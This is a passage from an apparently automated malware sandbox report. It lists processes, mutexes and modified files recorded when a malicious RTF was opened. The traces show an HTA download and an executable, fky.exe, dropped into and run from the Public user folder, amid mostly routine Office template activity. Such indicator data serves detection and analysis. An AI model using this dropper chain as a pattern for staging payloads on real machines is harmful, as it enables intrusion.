  883. "\"C:\\Windows\\system32\\wermgr.exe\" \"-queuereporting_svc\" \"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_098a2904\"",
  884. "\\x01C:\\Users\\Public\\fky.exe\"",
  885. "\"C:\\Program Files\\Common Files\\Microsoft Shared\\Office15\\OLicenseHeartbeat.exe\"",
  886. "\"C:\\Program Files\\Microsoft Office\\Office15\\msoia.exe\" scan upload mininterval:2880",
  887. "\"C:\\Program Files\\Microsoft Office\\Office15\\msoia.exe\" scan upload"
  888. ]
  889.  
  890. [*] Mutexes: [
  891. "Local\\ZoneAttributeCacheCounterMutex",
  892. "Local\\ZonesCacheCounterMutex",
  893. "Local\\ZonesLockedCacheCounterMutex",
  894. "Global\\CLR_CASOFF_MUTEX",
  895. "Local\\!IETld!Mutex",
  896. "Local\\_!MSFTHISTORY!_",
  897. "Local\\c:!users!user!appdata!local!microsoft!windows!temporary internet files!content.ie5!",
  898. "Local\\c:!users!user!appdata!roaming!microsoft!windows!cookies!",
  899. "Local\\c:!users!user!appdata!local!microsoft!windows!history!history.ie5!",
  900. "Local\\c:!users!user!appdata!roaming!microsoft!windows!ietldcache!",
  901. "Local\\WininetStartupMutex",
  902. "Local\\WininetConnectionMutex",
  903. "Local\\WininetProxyRegistryMutex",
  904. "CicLoadWinStaWinSta0",
  905. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  906. "Global\\.net clr networking",
  907. "Local\\10MU_ACBPIDS_S-1-5-5-0-119736",
  908. "Local\\10MU_ACB10_S-1-5-5-0-119736",
  909. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  910. "Local\\{F99C425F-9135-43ed-BD7D-396DE488DC53}",
  911. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  912. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  913. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  914. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  915. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  916. "Local\\WERReportingForProcess3268",
  917. "Global\\\\xe5\\x88\\x90\\xc2\\x9f",
  918. "Global\\\\xe1\\x9f\\xa0\\xc7\\x94",
  919. "WERUI_BEX64-e0bfc78dc22baf57413d9e3a2494cb68424d695b"
  920. ]
  921.  
  922. [*] Modified Files: [
  923. "C:\\Users\\user\\AppData\\Local\\Temp\\Protocol_48311.rtf.lnk",
  924. "\\??\\PIPE\\srvsvc",
  925. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\HYPMSE32K7HD53MNH2RL.temp",
  926. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\bebaf53d6f867918.customDestinations-ms",
  927. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat",
  928. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat",
  929. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat",
  930. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat",
  931. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S4VH3RFR\\document[1].hta",
  932. "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk",
  933. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\0AZ1JVPK4OC76C63WTNN.temp",
  934. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms",
  935. "C:\\Users\\Public\\fky.rtf",
  936. "C:\\Users\\Public\\fky.exe",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\CVRB264.tmp.cvr",
  938. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm",
  939. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  940. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{66DC61EE-D143-4910-82A9-2BD9DC3C8085}.tmp",
  941. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  942. "C:\\Users\\Public\\~$fky.rtf",
  943. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{62BD97E7-5D2B-4F04-A84C-4C35F3E8A38D}.tmp",
  944. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Office\\Recent\\fky.rtf.LNK",
  945. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat",
  946. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  947. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  948. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  949. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\CabBFF2.tmp",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\TarBFF3.tmp",
  952. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD466.tmp",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD4A6.tmp",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD4D6.tmp",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD544.tmp",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD545.tmp",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD546.tmp",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD557.tmp",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD558.tmp",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD559.tmp",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD5A8.tmp",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD5F7.tmp",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD646.tmp",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD657.tmp",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD668.tmp",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD667.tmp",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD688.tmp",
  968. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD6A9.tmp",
  969. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD6E8.tmp",
  970. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD747.tmp",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD767.tmp",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD768.tmp",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD788.tmp",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD845.tmp",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD875.tmp",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD895.tmp",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8C5.tmp",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8D6.tmp",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8E6.tmp",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD983.tmp",
  981. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  982. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD9D3.tmp",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD9E3.tmp",
  984. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDA61.tmp",
  985. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDAC0.tmp",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDB1F.tmp",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDC58.tmp",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDCB7.tmp",
  990. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDD06.tmp",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE20.tmp",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE31.tmp",
  993. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  994. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE45.tmp",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE33.tmp",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE85.tmp",
  997. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDEA9.tmp",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE99.tmp",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDEBC.tmp",
  1001. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE46.tmp",
  1002. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDEBE.tmp",
  1003. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDECF.tmp",
  1004. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDED0.tmp",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDF01.tmp",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE98.tmp",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDE34.tmp",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDE32.tmp",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDE86.tmp",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDEAB.tmp",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDEBD.tmp",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDEE1.tmp",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDE97.tmp",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDEAA.tmp",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF7F.tmp\\CircleProcess.glox",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDED1.tmp",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF7F.tmp\\Content.inf",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE10B.tmp",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE1AC.tmp",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE20E.tmp",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE03C.tmp\\sist02.xsl",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE03D.tmp\\chicago.xsl",
  1024. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE0FA.tmp\\HexagonRadial.glox",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE0CB.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE12B.tmp\\Badge.thmx",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE15B.tmp\\Headlines.thmx",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE17B.tmp\\Basis.thmx",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1AB.tmp\\ThemePictureAlternatingAccent.glox",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1BD.tmp\\content.inf",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1FC.tmp\\Crop.thmx",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1FD.tmp\\APASixthEditionOfficeOnline.xsl",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE20F.tmp\\ConvergingText.glox",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE23F.tmp\\content.inf",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE4C8.tmp",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE03C.tmp\\Content.inf",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE25F.tmp\\ieee2006officeonline.xsl",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE03D.tmp\\Content.inf",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE0FA.tmp\\Content.inf",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE34B.tmp\\turabian.xsl",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE547.tmp",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE557.tmp",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE34C.tmp\\rings.glox",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE37B.tmp\\TabbedArc.glox",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE0CB.tmp\\Content.inf",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE3BB.tmp\\content.inf",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1BD.tmp\\Parallax.thmx",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1AB.tmp\\Content.inf",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE23F.tmp\\Savon.thmx",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE12B.tmp\\Content.inf",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE20F.tmp\\Content.inf",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE17B.tmp\\content.inf",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE40A.tmp\\VaryingWidthList.glox",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE6B8.tmp",
  1056. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE4B7.tmp\\Berlin.thmx",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1FD.tmp\\Content.inf",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE15B.tmp\\Content.inf",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE37B.tmp\\Content.inf",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5A7.tmp\\Banded.thmx",
  1061. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5CA.tmp\\pictureorgchart.glox",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE34C.tmp\\Content.inf",
  1063. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217[[fn=chicago]].xsl",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5A6.tmp\\content.inf",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE40A.tmp\\Content.inf",
  1066. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE25F.tmp\\Content.inf",
  1067. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227[[fn=sist02]].xsl",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5CA.tmp\\Content.inf",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE3BB.tmp\\Frame.thmx",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE4B7.tmp\\content.inf",
  1071. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5C9.tmp\\content.inf",
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE517.tmp\\PictureFrame.glox",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE639.tmp\\content.inf",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5C9.tmp\\Metropolitan.thmx",
  1076. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222[[fn=ieee2006officeonline]].xsl",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5DA.tmp\\content.inf",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\cabEAF0.tmp",
  1079. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1FC.tmp\\Content.inf",
  1080. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5A6.tmp\\Dividend.thmx",
  1081. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5B8.tmp\\gosttitle.xsl",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE517.tmp\\Content.inf",
  1083. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox",
  1084. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE639.tmp\\View.thmx",
  1086. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE63A.tmp\\Element design set.dotx",
  1087. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216[[fn=apasixtheditionofficeonline]].xsl",
  1088. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE34B.tmp\\Content.inf",
  1089. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5A7.tmp\\content.inf",
  1090. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx",
  1091. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE84F.tmp\\InterconnectedBlockProcess.glox",
  1092. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226[[fn=turabian]].xsl",
  1093. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5B8.tmp\\Content.inf",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE63A.tmp\\Content.inf",
  1095. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED52.tmp\\harvardanglia2008officeonline.xsl",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5DA.tmp\\Quotable.thmx",
  1097. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox",
  1098. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx",
  1099. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx",
  1100. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox",
  1101. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx",
  1102. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox",
  1103. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx",
  1104. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE84F.tmp\\Content.inf",
  1105. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx",
  1106. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx",
  1107. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx",
  1108. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEEDA.tmp\\mlaseventheditionofficeonline.xsl",
  1109. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED52.tmp\\Content.inf",
  1110. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx",
  1111. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx",
  1112. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220[[fn=gosttitle]].xsl",
  1113. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox",
  1114. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF1C9.tmp\\gb.xsl",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\cabF303.tmp",
  1116. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx",
  1117. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox",
  1118. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEEDA.tmp\\Content.inf",
  1119. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF1C9.tmp\\Content.inf",
  1120. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF332.tmp\\content.inf",
  1121. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx",
  1122. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF332.tmp\\Vapor_Trail.thmx",
  1123. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158[[fn=Element]].dotx",
  1124. "C:\\Users\\user\\AppData\\Local\\Temp\\cabF47D.tmp",
  1125. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx",
  1126. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221[[fn=harvardanglia2008officeonline]].xsl",
  1127. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF40E.tmp\\content.inf",
  1128. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF40E.tmp\\Wood_Type.thmx",
  1129. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F5.tmp\\chevronaccent.glox",
  1130. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218[[fn=gb]].xsl",
  1131. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F5.tmp\\Content.inf",
  1132. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox",
  1133. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF75D.tmp\\ThemePictureGrid.glox",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF77D.tmp\\content.inf",
  1135. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7BD.tmp\\architecture.glox",
  1136. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225[[fn=mlaseventheditionofficeonline]].xsl",
  1137. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF82B.tmp\\Equations.dotx",
  1138. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF75D.tmp\\Content.inf",
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF77D.tmp\\Mesh.thmx",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7BD.tmp\\Content.inf",
  1141. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF83C.tmp\\content.inf",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\cabF8AD.tmp",
  1143. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF85C.tmp\\Circuit.thmx",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF83C.tmp\\Slate.thmx",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF82B.tmp\\Content.inf",
  1146. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox",
  1147. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF88D.tmp\\content.inf",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF86D.tmp\\gostname.xsl",
  1149. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF91B.tmp\\Feathered.thmx",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF88D.tmp\\Droplet.thmx",
  1152. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox",
  1153. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA85.tmp\\RadialPictureList.glox",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA65.tmp\\iso690.xsl",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF86D.tmp\\Content.inf",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA85.tmp\\Content.inf",
  1158. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFBDE.tmp\\TabList.glox",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA65.tmp\\Content.inf",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF85C.tmp\\content.inf",
  1162. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFBDE.tmp\\Content.inf",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFCAA.tmp\\BracketList.glox",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\cabFCCA.tmp",
  1165. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907[[fn=Equations]].dotx",
